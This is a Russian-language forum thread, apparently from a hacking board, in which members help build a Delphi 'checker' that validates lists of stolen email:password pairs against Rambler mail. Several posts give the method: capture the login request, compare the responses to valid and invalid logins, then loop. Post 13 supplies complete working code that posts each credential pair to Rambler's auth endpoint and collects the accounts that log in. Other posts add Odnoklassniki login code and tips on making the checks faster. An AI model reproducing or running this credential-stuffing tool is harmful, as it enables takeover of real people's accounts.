Чекер рамблер

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by aydar, 21 Apr 2010.

  1. aydar

    aydar Member

    Joined:
    12 Nov 2009
    Messages:
    259
    Likes Received:
    6
    Reputations:
    -2
    Хочу создать чекер пока без наворотов.

    Может кто-нибудь рассказать про словесный алгоритм чекера, или есть у кого-то сорцы.
     
  2. Sunstrider

    Sunstrider Banned

    Joined:
    9 Apr 2010
    Messages:
    152
    Likes Received:
    10
    Reputations:
    4
    Смотри,пишим функцию авторизации,далее циклом далее гуд записываем в мемо
     
  3. aydar

    aydar Member

    Joined:
    12 Nov 2009
    Messages:
    259
    Likes Received:
    6
    Reputations:
    -2
    а по коду есть что-либо?
     
  4. Скотти

    Скотти Member

    Joined:
    17 Sep 2009
    Messages:
    23
    Likes Received:
    8
    Reputations:
    0
    И

    как бы разные это вещи. В чем проблема с нуля написать? Там сложного нет ничего.

    Скачай analyzer
    _http://www.ieinspector.com/httpanalyzer/download.html

    Посмотри что и куда отправляется, когда авторизуешься.
     
    #4 Скотти, 21 Apr 2010
    Last edited: 21 Apr 2010
  5. Sunstrider

    Sunstrider Banned

    Joined:
    9 Apr 2010
    Messages:
    152
    Likes Received:
    10
    Reputations:
    4
    Ты ЯП скажи,на delphi есть
     
  6. xafon

    xafon New Member

    Joined:
    2 Dec 2009
    Messages:
    38
    Likes Received:
    4
    Reputations:
    0
    авторизация на дефли в принципе так может выглядеть:
    Code:
    var StrPage, ssylka:string;
        Data:TstringList;
    begin
     idhttp1.HandleRedirects:=true;
     StrPage:=idhttp1.Get('http://odnoklassniki.ru/');
     ssylka:=Pars('<form action="',StrPage,'"');
     Data:=TstringList.Create;
     Data.Add('st.posted=set');
     Data.Add('st.email='+Edit1.Text);
     Data.Add('st.password='+Edit2.Text);
     Data.Add('button_go=Войти');
     StrPage:=idhttp1.Post(ssylka, Data);
     if Pos('Logoff', StrPage)<>0 then
      Label3.Caption:='Ага'
     else Label3.Caption:='Неа';
     Data.Free;
    
    function TForm1.Pars(T_, ForS, _T: string): string;
    var
      a, b: integer;
    begin
      Result := '';
      if (T_ = '') or (ForS = '') or (_T = '') then
        Exit;
      a := Pos(T_, ForS);
      if a = 0 then
        Exit
      else
        a := a + Length(T_);
      ForS := Copy(ForS, a, Length(ForS) - a + 1);
      b := Pos(_T, ForS);
      if b > 0 then
        Result := Copy(ForS, 1, b - 1);
    end;
    end;
     
  7. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    Ну вы вообще... Выкладываете код авторизации для левого сайта, меняете в нем "Залогинились" на "Ага", "Не залогинились" на "Неа". А потом еще пишете, что в принципе это так может выглядеть)))
     
  8. Meecript_

    Meecript_ Banned

    Joined:
    29 Oct 2008
    Messages:
    194
    Likes Received:
    62
    Reputations:
    32
    ZdezBilYa, твой код популярен, его в каждой второй теме про авторизацию пишут ;)
     
  9. Serbies

    Serbies Elder - Старейшина

    Joined:
    26 Dec 2006
    Messages:
    26
    Likes Received:
    7
    Reputations:
    -1
    Простой алгоритм чеккера можно найти в анналах интеренета...
    Вот краткая суть:
    1)заходим на страницу главную
    2) Вводим правельные данные и мониторим куда нас перенаправляет или какой ответ от сервера
    3) Вводим неправельные данные и смотрим куда перенаправляет или какой ответ от сервера
    4) Сравниваем и исчим различия - а точнее характерные данные для правельного запроса и для неправельного(в плане прошел чек удачно или нет)
    5) Пишем прогу/скрипт

    ЗЫ: какой язык программирования ?
     
  10. aydar

    aydar Member

    Joined:
    12 Nov 2009
    Messages:
    259
    Likes Received:
    6
    Reputations:
    -2
    Дельфи

    Если авторизация прошла успешно то нас отправляют сюда http://mail.rambler.ru/mail/startpage

    Если нет то сюда http://id.rambler.ru/script/auth.cgi?mode=login
     
    #10 aydar, 22 Apr 2010
    Last edited: 22 Apr 2010
  11. Serbies

    Serbies Elder - Старейшина

    Joined:
    26 Dec 2006
    Messages:
    26
    Likes Received:
    7
    Reputations:
    -1
    я не советую то что предложил ZdezBilYa - потому как метод хоть и выглядит легко, но у него подводный камень - скорость(хотя могит что то и изменилось за пару лет).
    В твоем же случае могу посоветовать соккеты(сам исходник подобного чеккера не приведу так во первых он уже у меня где то сгинул, а во вторых самому будет полезно сделать мб и увлекательно)
    Вот ссылки:
    http://delphiworld.narod.ru/base/socket_get_page.html - вот это основа
    http://delphiworld.narod.ru/base/socket_combine_blocks.html - это мб подводный камень
    и еще поставь себе wareshark - полезная программа - там как раз посмотришь что и куда отправляецо и что принимаецо
     
  12. aydar

    aydar Member

    Joined:
    12 Nov 2009
    Messages:
    259
    Likes Received:
    6
    Reputations:
    -2
    вот небольшие сырые наработки, пока без паролей

     
  13. 1n0y

    1n0y Active Member

    Joined:
    9 May 2009
    Messages:
    276
    Likes Received:
    282
    Reputations:
    2
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    var
    i:integer;
    pass,mail,domain:string;
    post, page:tstringlist;
    begin
     for i:=0 to form1.memo1.lines.count-1 do
      begin
       pass:=copy(form1.memo1.lines[i], pos(':',form1.memo1.lines[i])+1, length(form1.memo1.lines[i]));
       mail:=form1.memo1.lines[i];
       delete(mail, pos('@', mail), length(mail));
        if ansipos('lenta.ru', form1.memo1.lines[i]) <>0 then
         domain:='lenta.ru';
        if ansipos('myrambler', form1.memo1.lines[i]) <>0 then
         domain:='myrambler.ru';
        if ansipos('autorambler', form1.memo1.lines[i]) <>0 then
         domain:='autorambler.ru';
        if ansipos('ro.ru', form1.memo1.lines[i]) <>0 then
         domain:='ro.ru';
        if ansipos('r0.ru', form1.memo1.lines[i]) <>0 then
         domain:='ro.ru';
        if ansipos('rambler.ru', form1.memo1.lines[i]) <>0 then
         domain:='rambler.ru';
       post:=tstringlist.create;
       page:=tstringlist.create;
       post.Add('back=http://mail.rambler.ru/mail/startpage');
       post.Add('login='+mail);
       post.Add('domain='+domain);
       post.Add('passw='+pass);
        try
         page.text:=IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',post);
        finally
         if ansipos('logout', page.text)<>0 then
          form1.Memo2.Lines.Add(form1.memo1.lines[i]);
         page.free;
         post.free;
        end;
      end;
    end;
    на форме кнопка и два мемо (1 и 2). если акк валид - выводица во второе мемо, если нет - не выводится

    пользуйся на здоровье.
     
  14. aydar

    aydar Member

    Joined:
    12 Nov 2009
    Messages:
    259
    Likes Received:
    6
    Reputations:
    -2
    кстати в рамблере необязательно выбирать домен, можно вводить так [email protected], проверено
     
  15. aydar

    aydar Member

    Joined:
    12 Nov 2009
    Messages:
    259
    Likes Received:
    6
    Reputations:
    -2
    Народ а через чего быстрее делать идхттп ил винсок? или есть др способы?
     
  16. TrueBit

    TrueBit Member

    Joined:
    21 Nov 2009
    Messages:
    71
    Likes Received:
    19
    Reputations:
    4
    Делать быстрее через инди, но работать будет быстрее через winsock
    wininet
     
  17. Meecript_

    Meecript_ Banned

    Joined:
    29 Oct 2008
    Messages:
    194
    Likes Received:
    62
    Reputations:
    32
    Это скорее стереотип, чем факт.